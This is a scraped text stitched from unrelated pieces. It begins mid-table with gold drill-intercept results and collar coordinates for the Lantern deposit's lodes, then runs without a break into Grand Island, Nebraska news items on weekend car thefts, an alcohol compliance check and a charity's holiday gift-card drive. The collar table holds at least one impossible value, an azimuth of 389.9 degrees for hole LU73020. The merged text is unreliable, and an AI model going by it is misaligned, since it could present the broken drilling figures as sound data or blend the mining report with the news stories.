0.7 2.0 3400 Lode LU101025 193.80 196.80 3.00 1.7 1.1 3400 Lode LU101025 No Significant Intercept 3400 Lode LU101026 226.30 233.90 7.60 2.4 2.0 3400 Lode LU64001 494.20 494.80 0.60 90.9 0.2 3400 Lode LU73011A 149.00 156.00 7.00 1.5 3.3 3400 Lode LU73012 No Significant Intercept 3400 Lode LU73014 365.70 366.10 0.40 5.0 0.3 3400 Lode LU73015 No Significant Intercept 3400 Lode LU73020 265.00 267.24 2.24 3.0 1.4 3400 Lode LU86006 No Significant Intercept 3400 Lode LU92001 364.50 366.80 2.30 1.0 1.2 3400 Lode LU92002 330.40 333.10 2.70 0.9 1.4 3400 Lode LU92003 No Significant Intercept 3400 Lode LU92004 No Significant Intercept 3400 Lode Lantern 3500 Lode Results CW101001A No Significant Intercept 3500 Lode CW101002 228.80 248.20 19.40 3.7 10.1 3500 Lode CW101003 No Significant Intercept 3500 Lode CW101003 No Significant Intercept 3500 Lode CW101004 284.45 286.50 2.05 2.9 0.7 3500 Lode CW101005 219.70 221.00 1.30 70.3 0.6 3500 Lode CW101006 238.30 253.50 15.20 2.2 6.5 3500 Lode CW101010 194.00 203.20 9.20 4.1 3.6 3500 Lode CW101011 142.00 148.00 6.00 1.7 3.1 3500 Lode CW101012 173.70 178.30 4.60 2.8 2.1 3500 Lode CW101013 No Significant Intercept 3500 Lode CW93513 288.10 290.55 2.45 3.7 1.3 3500 Lode CW93515 349.00 354.00 5.00 0.7 3.0 3500 Lode CW93516 No Significant Intercept 3500 Lode LS001 No Significant Intercept 3500 Lode LS005 210.00 211.00 1.00 3.2 1.0 3500 Lode LS006 No Significant Intercept 3500 Lode LS007 224.00 226.00 2.00 1.8 1.9 3500 Lode LS008 No Significant Intercept 3500 Lode And 205.00 210.00 5.00 1.8 4.9 3500 Lode LU101001 74.10 87.10 13.00 9.0 7.3 3500 Lode LU101001 106.00 109.00 3.00 1.9 2.1 3500 Lode LU101003 128.00 130.00 2.00 3.3 1.1 3500 Lode LU101004 160.00 162.00 2.00 1.6 1.0 3500 Lode LU101005 71.00 78.00 7.00 3.1 5.4 3500 Lode LU101008 72.90 76.00 3.10 3.9 2.3 3500 Lode LU101009 102.18 108.25 6.07 4.1 3.7 3500 Lode And 132.72 133.13 0.41 5.7 0.3 3500 Lode LU101010 89.00 92.70 3.70 3.8 2.1 3500 Lode LU101013 126.30 127.60 1.30 5.9 0.7 3500 Lode And 132.70 144.90 12.20 2.8 7.0 3500 Lode LU101014 171.10 174.70 3.60 4.8 1.4 3500 Lode LU101015 137.40 143.60 6.20 0.7 3.7 3500 Lode And 149.30 151.90 2.60 2.3 1.2 3500 Lode LU101016 171.78 174.54 2.76 1.8 1.0 3500 Lode LU101017 201.30 212.80 11.50 3.3 5.0 3500 Lode LU101018 222.00 225.50 3.50 4.9 0.3 3500 Lode LU101019 252.60 254.50 1.90 11.8 0.2 3500 Lode LU101020 207.00 222.50 15.50 8.5 6.8 3500 Lode LU101021 No Significant Intercept 3500 Lode LU101022 199.70 203.00 3.30 3.5 1.3 3500 Lode LU101023 246.60 248.60 2.00 2.4 0.7 3500 Lode LU101024 No Significant Intercept 3500 Lode LU101025 226.30 231.50 5.20 1.0 1.8 3500 Lode LU101026 275.00 289.00 14.00 0.7 3.6 3500 Lode LU64001 305.60 308.60 3.00 10.8 1.2 3500 Lode LU73011A 193.10 195.30 2.20 2.8 1.0 3500 Lode LU73012 No Significant Intercept 3500 Lode LU73014 444.00 464.00 20.00 0.6 4.8 3500 Lode LU73015 304.80 308.00 3.20 2.4 1.1 3500 Lode LU73020 273.00 273.50 0.50 57.9 0.3 3500 Lode LU86006 274.00 278.15 4.15 1.4 1.6 3500 Lode LU92001 377.50 379.50 2.00 1.0 1.0 3500 Lode LU92002 No Significant Intercept 3500 Lode LU92003 No Significant Intercept 3500 Lode LU92004 No Significant Intercept 3500 Lode LU93501 No Significant Intercept 3500 Lode LU93504 207.10 212.80 5.70 0.9 3.8 3500 Lode Lantern 3600 Lode Results CW101001A 250.80 273.50 22.70 0.4 9.8 3600 Lode CW101002 253.00 258.00 5.00 1.9 2.2 3600 Lode CW101003 No Significant Intercept 3600 Lode CW101004 314.10 321.85 7.75 1.2 3.0 3600 Lode CW101005 235.90 263.00 27.10 1.6 10.4 3600 Lode CW101006 261.80 273.60 11.80 3.4 6.2 3600 Lode CW101010 217.00 223.00 6.00 2.7 2.7 3600 Lode CW101011 165.00 166.00 1.00 4.5 0.7 3600 Lode CW101012 No Significant Intercept 3600 Lode CW101013 No Significant Intercept 3600 Lode CW93513 312.20 317.90 5.70 0.3 4.0 3600 Lode CW93515 358.00 382.00 24.00 1.0 12.8 3600 Lode DS001 184.20 185.20 1.00 89.7 0.8 3600 Lode LS001 No Significant Intercept 3600 Lode LS005 193.00 195.80 2.80 3.1 2.6 3600 Lode LS006 239.00 239.72 0.72 32.4 0.7 3600 Lode LS007 214.00 219.00 5.00 3.2 3.5 3600 Lode LS008 184.00 186.00 2.00 1.3 1.9 3600 Lode LU101001 128.50 132.65 4.15 1.1 2.9 3600 Lode LU101003 160.00 160.64 0.64 4.7 0.4 3600 Lode LU101004 No Significant Intercept 3600 Lode LU101005 109.50 112.00 2.50 5.4 1.9 3600 Lode And 119.50 120.85 1.35 6.1 1.1 3600 Lode LU101008 98.00 105.40 7.40 8.4 6.4 3600 Lode LU101009 142.40 143.54 1.14 3.5 0.8 3600 Lode LU101010 115.00 119.35 4.35 2.5 3.4 3600 Lode LU101011 100.00 102.00 2.00 1.5 1.4 3600 Lode LU101013 151.40 158.10 6.70 3.8 3.9 3600 Lode LU101014 180.20 187.00 6.80 4.9 3.5 3600 Lode LU101015 171.50 173.40 1.90 6.3 1.0 3600 Lode LU101016 No Significant Intercept 3600 Lode LU101017 225.90 231.00 5.10 3.3 1.4 3600 Lode LU101018 255.40 262.50 7.10 3.3 1.8 3600 Lode LU101019 282.90 284.90 2.00 3.0 0.6 3600 Lode LU101020 No Significant Intercept 3600 Lode LU101021 286.70 293.70 7.00 2.4 3.6 3600 Lode LU101022 No Significant Intercept 3600 Lode LU101023 293.00 305.00 12.00 1.8 4.5 3600 Lode LU101024 322.00 341.00 19.00 1.5 3.1 3600 Lode LU101025 No Significant Intercept 3600 Lode LU101026 300.60 319.70 19.10 11.7 6.5 3600 Lode LU64001 180.40 181.10 0.70 16.1 0.3 3600 Lode LU64003 130.00 137.00 7.00 5.1 4.2 3600 Lode LU73011A 223.20 254.90 31.70 0.1 13.0 3600 Lode LU73012 344.00 352.00 8.00 1.9 3.2 3600 Lode LU73014 No Significant Intercept 3600 Lode LU73015 No Significant Intercept 3600 Lode LU73016 No Significant Intercept 3600 Lode LU73017 No Significant Intercept 3600 Lode LU73020 277.42 278.33 0.91 1,624 0.6 3600 Lode Including 277.42 277.73 0.31 4,750 0.2 3600 Lode LU86006 324.00 328.20 4.20 2.6 1.3 3600 Lode LU92001 395.60 398.70 3.10 1.0 1.6 3600 Lode LU92002 No Significant Intercept 3600 Lode LU92003 No Significant Intercept 3600 Lode LU92004 No Significant Intercept 3600 Lode LU93501 No Significant Intercept 3600 Lode LU93504 No Significant Intercept 3600 Lode Lantern 3700 Lode Results CP009W1 722.28 724.38 2.10 7.0 0.9 3700 Lode CW101001A 296.45 298.20 1.75 37.0 0.8 3700 Lode CW101002 No Significant Intercept 3700 Lode CW101003 258.60 259.65 1.05 170 0.5 3700 Lode CW101005 No Significant Intercept 3700 Lode CW101006 329.30 331.50 2.20 2.1 0.9 3700 Lode CW101010 272.10 274.00 1.90 5.3 0.8 3700 Lode CW101011 189.00 190.00 1.00 0.7 0.5 3700 Lode CW101012 236.30 237.00 0.70 4.9 0.3 3700 Lode CW101013 No Significant Intercept 3700 Lode CW93513 No Significant Intercept 3700 Lode CW93515 No Significant Intercept 3700 Lode CW93516 360.90 366.80 5.90 2.8 2.6 3700 Lode DS001 No Significant Intercept 3700 Lode LS005 183.00 185.00 2.00 1.9 1.9 3700 Lode LS006 205.00 206.00 1.00 1.9 0.9 3700 Lode LS007 195.00 197.00 2.00 3.9 1.6 3700 Lode LS008 173.00 176.00 3.00 4.8 2.9 3700 Lode LU101001 136.00 137.75 1.75 1.4 1.2 3700 Lode LU101002 No Significant Intercept 3700 Lode LU101003 171.00 172.50 1.50 1.1 1.0 3700 Lode LU101004 No Significant Intercept 3700 Lode LU101005 No Significant Intercept 3700 Lode LU101006A No Significant Intercept 3700 Lode LU101008 114.00 117.15 3.15 4.3 2.3 3700 Lode LU101009 149.97 151.80 1.83 6.6 1.2 3700 Lode LU101010 152.00 155.25 3.25 2.7 1.9 3700 Lode And 161.10 164.15 3.05 2.4 1.9 3700 Lode LU101013 179.10 180.90 1.80 1.8 1.0 3700 Lode LU101014 231.30 234.00 2.70 3.3 1.3 3700 Lode LU101015 195.50 197.10 1.60 6.4 0.8 3700 Lode LU101016 234.05 237.30 3.25 0.7 1.6 3700 Lode LU101017 No Significant Intercept 3700 Lode LU101018 No Significant Intercept 3700 Lode LU101019 304.60 307.20 2.60 1.5 1.0 3700 Lode LU101020 291.00 292.00 1.00 10.5 0.5 3700 Lode LU101021 362.00 364.00 2.00 1.5 0.9 3700 Lode LU101022 272.70 274.60 1.90 3.7 0.8 3700 Lode LU101023 357.80 363.00 5.20 0.2 2.4 3700 Lode LU101024 419.20 433.20 14.00 0.1 4.8 3700 Lode LU101025 314.00 315.00 1.00 3.7 0.3 3700 Lode LU101026 332.70 359.00 26.30 2.7 15.0 3700 Lode LU63003 224.00 225.90 1.90 1.9 1.2 3700 Lode LU64001 129.90 138.00 8.10 4.7 3.2 3700 Lode LU64003 122.00 125.00 3.00 10.5 1.8 3700 Lode LU73005 323.00 338.50 15.50 0.3 7.6 3700 Lode LU73007 219.00 220.00 1.00 3.0 0.7 3700 Lode LU73009 266.00 267.00 1.00 2.2 0.5 3700 Lode LU73011A No Significant Intercept 3700 Lode LU73012 397.20 400.00 2.80 1.2 1.1 3700 Lode LU73014 549.00 574.00 25.00 0.3 6.6 3700 Lode LU73015 412.00 415.20 3.20 2.8 1.3 3700 Lode LU73016 No Significant Intercept 3700 Lode LU73017 378.20 411.00 32.80 0.2 15.5 3700 Lode LU73020 286.00 288.06 2.06 9.9 1.3 3700 Lode LU92001 434.90 436.70 1.80 1.7 1.0 3700 Lode LU92002 365.50 380.00 14.50 0.6 7.6 3700 Lode LU92003 488.00 507.00 19.00 1.8 7.6 3700 Lode LU92004 368.00 372.00 4.00 0.7 2.7 3700 Lode Lantern 3800 Lode Results CP009W1 802.39 806.30 3.91 3.4 1.7 3800 Lode CW101001A 318.40 322.00 3.60 2.0 1.5 3800 Lode CW101002 No Significant Intercept 3800 Lode CW101003 286.40 289.30 2.90 3.4 1.5 3800 Lode CW101006 No Significant Intercept 3800 Lode CW101010 No Significant Intercept 3800 Lode CW101011 No Significant Intercept 3800 Lode CW101012 No Significant Intercept 3800 Lode CW101013 304.50 306.00 1.50 3.4 0.7 3800 Lode CW93513 364.70 369.50 4.80 3.7 2.4 3800 Lode CW93515 435.60 439.30 3.70 1.5 1.8 3800 Lode CW93516 381.60 384.00 2.40 2.6 1.2 3800 Lode DS001 150.00 151.05 1.05 2.6 0.8 3800 Lode GFG001W1 No Significant Intercept 3800 Lode LS001 No Significant Intercept 3800 Lode LS003 No Significant Intercept 3800 Lode LS005 160.00 161.00 1.00 1.9 0.9 3800 Lode LS006 189.00 191.00 2.00 1.0 1.6 3800 Lode LS007 No Significant Intercept 3800 Lode LS008 156.00 159.00 3.00 0.4 2.9 3800 Lode LU101001 167.00 170.00 3.00 4.3 2.2 3800 Lode LU101003 No Significant Intercept 3800 Lode LU101004 No Significant Intercept 3800 Lode LU101005 155.00 159.00 4.00 1.1 3.0 3800 Lode LU101008 No Significant Intercept 3800 Lode LU101009 173.30 174.30 1.00 2.2 0.8 3800 Lode LU101010 171.75 173.40 1.65 3.0 1.2 3800 Lode LU101011 No Significant Intercept 3800 Lode LU101013 189.90 191.80 1.90 1.6 1.2 3800 Lode LU101014 247.70 248.70 1.00 2.6 0.5 3800 Lode LU101015 No Significant Intercept 3800 Lode LU101016 247.75 248.70 0.95 2.4 0.4 3800 Lode LU101017 325.00 326.00 1.00 1.2 0.4 3800 Lode LU101018 No Significant Intercept 3800 Lode LU101019 350.50 352.10 1.60 2.0 0.6 3800 Lode LU101021 No Significant Intercept 3800 Lode LU101022 293.70 297.10 3.40 1.8 1.1 3800 Lode LU101023 No Significant Intercept 3800 Lode LU101024 441.00 445.00 4.00 2.1 1.3 3800 Lode LU101025 352.30 355.30 3.00 2.7 0.6 3800 Lode LU101026 No Significant Intercept 3800 Lode LU63001 182.80 183.70 0.90 26.9 0.7 3800 Lode LU63002 206.50 207.30 0.80 2.3 0.6 3800 Lode LU63003 249.30 250.40 1.10 0.5 0.8 3800 Lode LU63004 175.60 176.60 1.00 5.9 0.9 3800 Lode LU63005 228.00 231.00 3.00 0.5 2.1 3800 Lode LU63006 283.60 285.30 1.70 2.4 0.9 3800 Lode LU63007 215.00 217.50 2.50 4.6 1.8 3800 Lode LU64001 123.00 125.95 2.95 9.5 1.2 3800 Lode LU64003 98.80 104.30 5.50 3.6 3.3 3800 Lode LU73001 126.40 130.00 3.60 0.9 2.8 3800 Lode LU73002 191.00 193.00 2.00 5.5 1.2 3800 Lode And No Significant Intercept 3800 Lode LU73003 158.30 159.30 1.00 10.7 0.6 3800 Lode LU73004 238.20 241.00 2.80 0.8 1.8 3800 Lode LU73005 No Significant Intercept 3800 Lode LU73006 No Significant Intercept 3800 Lode LU73007 No Significant Intercept 3800 Lode LU73008 191.90 192.80 0.90 4.5 0.5 3800 Lode LU73009 No Significant Intercept 3800 Lode LU73010 No Significant Intercept 3800 Lode LU73011A No Significant Intercept 3800 Lode LU73012 445.10 456.10 11.00 0.5 5.1 3800 Lode LU73014 604.00 611.00 7.00 0.4 3.8 3800 Lode LU73015 No Significant Intercept 3800 Lode LU73016 313.00 316.10 3.10 0.7 2.1 3800 Lode LU73017 493.00 496.00 3.00 198 1.0 3800 Lode Including 493.00 493.35 0.35 98.7 0.1 3800 Lode And including 493.35 493.70 0.35 1,577 0.1 3800 Lode LU86001 219.00 226.60 7.60 1.4 4.4 3800 Lode And No Significant Intercept 3800 Lode LU86002 No Significant Intercept 3800 Lode And 250.00 251.00 1.00 5.9 0.8 3800 Lode LU86006 No Significant Intercept 3800 Lode LU92001 No Significant Intercept 3800 Lode LU92002 388.00 393.00 5.00 1.4 2.6 3800 Lode LU92004 No Significant Intercept 3800 Lode LU93501 267.00 269.00 2.00 2.4 1.4 3800 Lode LU93504 272.00 275.70 3.70 1.0 2.6 3800 Lode Lantern 3900 Lode Results CP009W1 821.43 832.76 11.33 3.1 3.0 3900 Lode CW101001A 375.00 377.70 2.70 1.2 1.4 3900 Lode CW101002 378.00 380.30 2.30 7.7 0.9 3900 Lode CW101006 No Significant Intercept 3900 Lode CW101010 No Significant Intercept 3900 Lode CW101011 No Significant Intercept 3900 Lode CW101012 287.00 291.00 4.00 6.9 1.9 3900 Lode CW101013 324.40 333.00 8.60 3.5 3.4 3900 Lode CW93513 398.50 407.45 8.95 1.7 3.8 3900 Lode CW93515 462.00 467.40 5.40 4.7 2.7 3900 Lode CW93516 400.30 405.10 4.80 2.6 2.1 3900 Lode DS001 121.60 123.60 2.00 1.6 1.6 3900 Lode LS001 No Significant Intercept 3900 Lode LS005 138.00 141.00 3.00 13.7 2.8 3900 Lode LS006 170.00 173.00 3.00 5.1 2.4 3900 Lode LS007 No Significant Intercept 3900 Lode LS008 130.00 132.20 2.20 4.6 1.9 3900 Lode LU101001 178.45 181.00 2.55 3.2 1.9 3900 Lode LU101002 106.00 107.00 1.00 2.6 1.0 3900 Lode LU101003 No Significant Intercept 3900 Lode LU101004 287.18 294.00 6.82 2.1 3.3 3900 Lode LU101005 No Significant Intercept 3900 Lode LU101006A No Significant Intercept 3900 Lode LU101008 176.30 183.00 6.70 1.4 5.2 3900 Lode LU101009 193.97 195.80 1.83 1.9 1.3 3900 Lode LU101010 215.00 216.00 1.00 5.4 0.7 3900 Lode LU101011 No Significant Intercept 3900 Lode LU101013 No Significant Intercept 3900 Lode LU101014 278.00 286.80 8.80 22.6 4.4 3900 Lode LU101015 245.50 248.00 2.50 5.1 1.6 3900 Lode LU101016 272.20 279.20 7.00 1.0 3.3 3900 Lode LU101017 No Significant Intercept 3900 Lode LU101018 364.20 375.60 11.40 1.5 4.6 3900 Lode LU101019 382.00 385.10 3.10 6.1 1.5 3900 Lode LU101020 353.00 357.00 4.00 1.6 1.2 3900 Lode LU101021 388.80 399.80 11.00 1.9 4.3 3900 Lode LU101022 351.40 354.50 3.10 26.3 1.2 3900 Lode LU101023 419.20 427.50 8.30 1.7 2.9 3900 Lode LU101024 480.80 484.00 3.20 12.2 1.1 3900 Lode LU101025 447.80 452.60 4.80 3.8 0.9 3900 Lode LU101026 563.70 566.70 3.00 1.6 0.8 3900 Lode LU63001 192.10 194.30 2.20 2.0 1.6 3900 Lode LU63003 266.00 268.00 2.00 2.0 1.4 3900 Lode LU63005 251.90 260.00 8.10 5.9 6.0 3900 Lode LU63006 353.80 354.80 1.00 6.5 0.5 3900 Lode LU63007 240.60 241.60 1.00 2.0 0.7 3900 Lode LU64001 88.50 93.10 4.60 6.7 1.8 3900 Lode LU64003 61.00 62.00 1.00 8.3 0.6 3900 Lode LU73001 153.55 158.20 4.65 3.2 3.8 3900 Lode LU73002 No Significant Intercept 3900 Lode LU73003 174.10 179.90 5.80 1.1 4.4 3900 Lode LU73004 No Significant Intercept 3900 Lode LU73005 No Significant Intercept 3900 Lode LU73006 168.50 174.80 6.30 0.8 4.5 3900 Lode LU73007 254.20 257.00 2.80 1.3 1.7 3900 Lode LU73008 No Significant Intercept 3900 Lode And 219.50 221.50 2.00 1.6 1.4 3900 Lode LU73009 350.20 353.00 2.80 4.7 1.2 3900 Lode LU73010 195.00 198.00 3.00 2.9 2.0 3900 Lode LU73011A 396.80 400.00 3.20 1.4 1.5 3900 Lode LU73012 483.10 485.00 1.90 4.7 1.0 3900 Lode LU73014 No Significant Intercept 3900 Lode LU73015 488.00 489.00 1.00 2.0 0.5 3900 Lode LU73016 345.90 347.50 1.60 2.0 0.6 3900 Lode LU73017 No Significant Intercept 3900 Lode LU73020 364.00 365.00 1.00 5.1 0.6 3900 Lode LU86001 281.90 288.90 7.00 3.1 4.6 3900 Lode LU86002 243.00 249.00 6.00 2.1 3.2 3900 Lode And 272.00 280.90 8.90 2.3 5.7 3900 Lode LU86004 No Significant Intercept 3900 Lode LU86005 No Significant Intercept 3900 Lode LU86006 No Significant Intercept 3900 Lode LU92001 No Significant Intercept 3900 Lode LU92002 No Significant Intercept 3900 Lode LU92003 618.00 619.70 1.70 2.1 0.8 3900 Lode LU92004 No Significant Intercept 3900 Lode LU93501 312.00 315.00 3.00 3.0 2.2 3900 Lode LU93502 No Significant Intercept 3900 Lode LU93503 No Significant Intercept 3900 Lode LU93504 293.00 296.25 3.25 0.6 2.6 3900 Lode And 306.50 323.00 16.50 3.4 12.3 3900 Lode

Drill Intercept Notes:

Intercepts with >30 Gram-Metres (gold grade (g/t Au) x estimated true width (m)) are in bold text.

Intercepts are constrained with wireframe envelopes, generally based on a 2 g/t Au cut-off (where possible) and having a maximum 3 m internal dilution. However, narrower intercepts are reported to highlight lengths of higher gold grade or where mineralization is limited.

Drillholes that were reported in previous News Releases are shown in italics, and may have different reported intercepts due to changes in the geological understanding of mineralized structures and application of reporting criteria previously applied.

Table 2: Surface and Underground Diamond Drill Hole Collar Locations, Lantern Deposit.

Hole ID Northing

(m) Easting

(m) Elevation

(m) Collar

Azimuth

() Collar

Plunge () Hole Length

(m) Surface Drilling DS001 971 4,825 1,141 87.5 -65.3 766.0 LS001 1,329 4,753 1,144 85.1 -61.1 586.0 LS003 1,385 4,672 1,145 84.5 -63.0 677.7 LS004 1,385 4,672 1,145 84.2 -51.8 552.4 LS005 1,117 4,787 1,145 89.0 -52.0 252.9 LS006 1,117 4,787 1,145 89.5 -67.1 303.6 LS007 1,273 4,796 1,145 90.5 -64.0 384.6 LS008 1,273 4,796 1,145 90.5 -53.1 498.9 LS009 1,102 5,171 1,156 270.0 -50.6 162.3 Underground Drilling LU101001 1,335 5,020 1,016 222.8 13.7 440.8 LU101002 1,336 5,019 1,017 252.2 29.5 160.0 LU101003 1,335 5,020 1,015 222.3 -2.7 263.9 LU101004 1,335 5,020 1,015 209.7 2.3 350.5 LU101005 1,336 5,019 1,015 234.8 6.2 200.9 LU101006A 1,335 5,021 1,014 255.2 6.0 179.1 LU101007 1,337 5,019 1,016 272.7 20.2 231.0 LU101008 1,337 5,019 1,014 249.3 -8.9 311.0 LU101009 1,336 5,019 1,014 235.8 -12.3 313.0 LU101010 1,336 5,020 1,014 248.3 -21.1 331.0 LU101011 1,337 5,019 1,014 262.1 -20.1 233.6 LU101012 1,337 5,019 1,014 274.6 -1.8 170.7 LU101013 1,336 5,019 1,014 234.3 -18.1 236.6 LU101014 1,336 5,020 1,014 223.3 -14.8 305.6 LU101015 1,336 5,020 1,014 240.8 -26.2 275.0 LU101016 1,336 5,020 1,014 234.6 -28.0 302.7 LU101017 1,336 5,020 1,014 231.2 -30.4 383.0 LU101018 1,336 5,020 1,014 226.7 -29.9 446.5 LU101019 1,336 5,020 1,014 222.3 -28.2 419.7 LU101020 1,336 5,020 1,014 236.8 -35.5 416.0 LU101021 1,336 5,020 1,014 226.2 -34.1 417.0 LU101022 1,336 5,020 1,014 242.2 -40.4 407.0 LU101023 1,337 5,019 1,014 233.9 -40.1 503.9 LU101024 1,336 5,020 1,014 226.0 -38.4 533.8 LU101025 1,337 5,019 1,014 250.6 -45.1 452.6 LU101026 1,337 5,019 1,014 246.0 -47.1 617.6 LU63001 1,550 4,875 635 249.0 1.8 220.0 LU63002 1,550 4,875 634 249.6 -9.0 248.0 LU63003 1,550 4,875 634 250.9 -17.8 282.2 LU63004 1,550 4,875 635 265.1 6.3 230.7 LU63005 1,550 4,875 634 257.4 -12.5 284.0 LU63006 1,550 4,875 634 254.6 -24.2 378.1 LU63007 1,550 4,875 634 271.2 -6.4 275.7 LU64001 1,842 4,629 624 273.5 -83.1 587.0 LU64003 1,841 4,629 624 166.1 -51.1 389.0 LU73001 1,495 4,920 734 237.5 15.7 203.1 LU73002 1,495 4,920 733 240.6 -11.2 248.0 LU73003 1,495 4,920 733 256.2 -5.5 200.0 LU73004 1,495 4,921 732 258.7 -24.4 284.2 LU73005 1,496 4,921 732 259.1 -36.4 484.4 LU73006 1,495 4,920 733 246.8 -1.8 200.0 LU73007 1,495 4,921 732 243.1 -23.0 287.2 LU73008 1,495 4,920 733 251.5 -14.7 242.1 LU73009 1,495 4,921 732 248.8 -31.1 368.0 LU73010 1,496 4,921 733 267.4 -12.5 227.4 LU73011A 1,494 4,922 732 226.9 -21.2 445.0 LU73012 1,495 4,922 732 229.1 -34.4 545.4 LU73014 1,494 4,922 732 221.9 -35.6 650.0 LU73015 1,495 4,922 732 239.3 -41.9 567.0 LU73016 1,496 4,922 732 249.9 -38.4 427.0 LU73017 1,496 4,921 732 260.9 -42.6 572.0 LU73020 1,499 4,922 732 389.9 -13.9 303.0 LU86001 1,502 4,987 859 219.9 -2.0 314.5 LU86002 1,501 4,986 858 226.5 -11.3 368.0 LU86004 1,502 4,986 859 229.1 0.5 368.0 LU86005 1,502 4,986 858 232.2 -9.4 236.6 LU86006 1,501 4,986 858 221.5 -25.1 480.0 LU92001 1,305 5,079 920 235.8 -32.1 536.2 LU92002 1,305 5,079 920 253.4 -36.2 506.0 LU92003 1,305 5,079 920 251.6 -43.7 773.0 LU92004 1,305 5,078 920 246.3 -28.9 490.0 LU93501 1,460 5,074 939 231.6 -5.5 333.0 LU93502 1,460 5,074 939 239.3 -2.2 281.8 LU93503 1,460 5,074 939 241.1 -9.4 473.0 LU93504 1,460 5,074 939 234.1 -13.2 341.9 Total - Surface and Underground Drilling 74 holes 27,737 m Previously Reported Drilling Surface Drilling CP009W1 1,617 5,270 1,155 241.0 -54.0 950.1 GFG001W1 1,840 5,195 1,159 240.0 -60.0 1,019.3 Underground Drilling CW101001 1,346 5,038 1,013 256.8 -40.4 72.6 CW101001A 1,345 5,038 1,013 253.6 -42.1 441.0 CW101002 1,345 5,038 1,013 239.2 -35.5 431.8 CW101003 1,345 5,038 1,013 247.8 -36.6 308.0 CW101004 1,345 5,038 1,013 240.1 -42.8 340.8 CW101005 1,344 5,039 1,014 221.3 -22.5 303.0 CW101006 1,345 5,040 1,013 233.8 -31.1 425.9 CW101007A 1,321 5,038 1,015 99.7 -4.7 72.0 CW101008 1,320 5,038 1,014 112.0 -23.5 92.4 CW101009 1,320 5,038 1,015 118.6 -3.5 98.7 CW101010 1,335 5,020 1,014 229.8 -28.5 368.9 CW101011 1,335 5,020 1,014 228.1 -14.0 386.3 CW101012 1,336 5,020 1,014 239.7 -31.0 329.9 CW101013 1,335 5,020 1,014 214.2 -17.5 373.3 CW93501 1,456 5,076 940 201.6 7.4 284.8 CW93502 1,457 5,075 940 217.4 -0.3 143.4 CW93503 1,457 5,075 941 223.6 27.0 170.1 CW93504 1,457 5,075 939 211.6 -9.2 155.8 CW93505 1,456 5,076 941 193.2 20.2 185.0 CW93506 1,456 5,076 939 193.7 -7.0 183.0 CW93507 1,457 5,075 940 210.2 9.1 140.2 CW93508 1,458 5,075 940 223.1 9.8 128.3 CW93509 1,459 5,074 940 236.8 9.8 156.6 CW93510 1,458 5,075 939 222.9 -9.0 130.9 CW93511 1,459 5,074 939 237.3 -8.7 146.1 CW93513 1,459 5,075 939 236.9 -24.5 441.6 CW93515 1,458 5,075 939 219.9 -13.3 491.2 CW93516 1,459 5,075 939 243.8 -29.9 409.5
Of five vehicles stolen in Grand Island over the weekend, one was recovered in Council Bluffs, Iowa, one turned up in an Adams County cornfield and one was set on fire.

Another was a 2004 Mercedes taken from a car lot by a woman who wasnt whom she claimed to be.

The vehicle recovered in Council Bluffs was a 2010 Chevy Equinox belonging to Ray Marian, who reported its theft at 9:07 a.m. Saturday. The vehicle was parked at Pumpers, 1904 N. Diers Ave. It was taken by a male who was a customer at the store.

The Equinox was recovered at 4:30 a.m. Sunday in Council Bluffs. According to Grand Island police, Latika Goodwin was referred to the Hall County attorneys office for obstructing a police officer. Deontrae Hulett was referred for motor vehicle theft.

A vehicle owned by Casey Jurgens of Grand Island was recovered Saturday afternoon by the Adams County Sheriffs Department in a cornfield south of the Hall-Adams county line. Jurgens reported that the vehicle was taken from 563 E. 18th St. between 10:30 p.m. Friday and 8 a.m. Saturday. The keys were left in the vehicle. The case is still under investigation.

The car set on fire belongs to Jason Anson. It was taken from 2636 Saint Patrick Ave. at about 10:45 p.m. Saturday. The vehicle was later located after being set on fire outside of the city limits.

A car was taken from Turbo Auto Sales, 410 N. Broadwell, Sunday afternoon by a woman who also committed identity theft. The woman presented a Nebraska drivers license belonging to Kabrina Wescoat. The woman took a 2004 Mercedes C230K for a test drive. The woman was not Wescoat, who had her drivers license stolen from her vehicle Nov. 19. The Mercedes was later recovered in an alley west of North Front Street and Boggs.

Five motor vehicle thefts over the course of a weekend is a lot, said Grand Island Police Capt. Jim Duering.

Also unusual was the fact that two of the cars were found out of town.

Generally speaking, this time of year, if someone takes a car, well recover it within the next couple of hours or couple of days across town somewhere, he said.

The fifth vehicle stolen belongs to Alecia Kluver. She was contacted in regard to found property. During the police contact, it was determined that her vehicle had also been stolen. The case is still under investigation.
Investigators with the Nebraska State Patrol completed alcohol inspections in Howard County on Dec. 8. This operation was conducted with assistance from the Howard County Sheriffs Department.

A total of 17 businesses were inspected. None of the businesses sold alcohol to a minor, for a compliance rate of 100 percent. All of the businesses checked the minors ID.

This project was supported in whole or part by grant funding provided by Region 3 Behavioral Health Services.
Santa Claus may wear red and white, but the AOK Ladies proved the real community givers this holiday season wear pink.

The AOK Ladies, a group with approximately 80 members, visited nine locations across Grand Island Sunday, spreading holiday cheer by giving out gift cards at retail stores and paying tuition at Central Community College as part of the organizations Holiday Blitz.

Kim Rerucha, a member of the AOK Ladies, said Grand Island Mayor Jeremy Jensen donated $20,000 in funds from the Mayoral Community Impact Fund to use for the purposes of the event and to celebrate the organizations 20th year.

Jensen told The Independent Thursday that the Nebraska State Fair gives a gift of $100,000 a year to the city of Grand Island. Instead of just putting those funds into the citys general fund, he said, he wanted to set these funds aside as a designated gift.

A few weeks prior to Sundays Holiday Blitz, Rerucha said, the AOK Ladies went to each store and purchased gift cards of different denominations to hand out Sunday. At each location, the AOK Ladies walked around the store, randomly handing out gift cards with a pink card attached, encouraging people to pass it on by doing random acts of kindness for others.

She said the procedure for figuring out who would receive a gift card was different for each group at every store.

Some of the groups handed one out every six minutes or to the fifth person they ran into in the store.

We are out here today hopefully making an impact on peoples lives, Rerucha said. Everybody that we have given a gift card to has had it bring tears to their eyes. We are getting hugs, we are getting (comments such as), Nobody has ever done anything like this for me before and This will help.

For Jenny Perez of Cairo, who was shopping at Shopko Sunday afternoon, the generosity of the AOK Ladies definitely helped. She said her daughter accidentally started a fire in their home Friday and they needed to buy a few items to help them get back on their feet. Having a gift card given to her by the AOK Ladies during Sundays Holiday Blitz provided a huge relief to her this holiday season.

I just think its amazing that they would do stuff like this for people like me, Perez said. I will be able to buy trash bags, trash cans, cleaning supplies and everything I need to get the house cleaned up. Of course, the house smells really bad right now. With Christmas around the corner, money is really tight right now anyways with buying lots of gifts, so this is really amazing.

At the conclusion of their Holiday Blitz, the AOK Ladies, Jensen and his wife, Kim, gathered at Pumpers, 1904 N. Diers Ave., to reflect on their experiences. The women gathered said that of the people they interacted with, not one person had a negative thing to say and they were all extremely grateful for the AOK Ladies generosity.

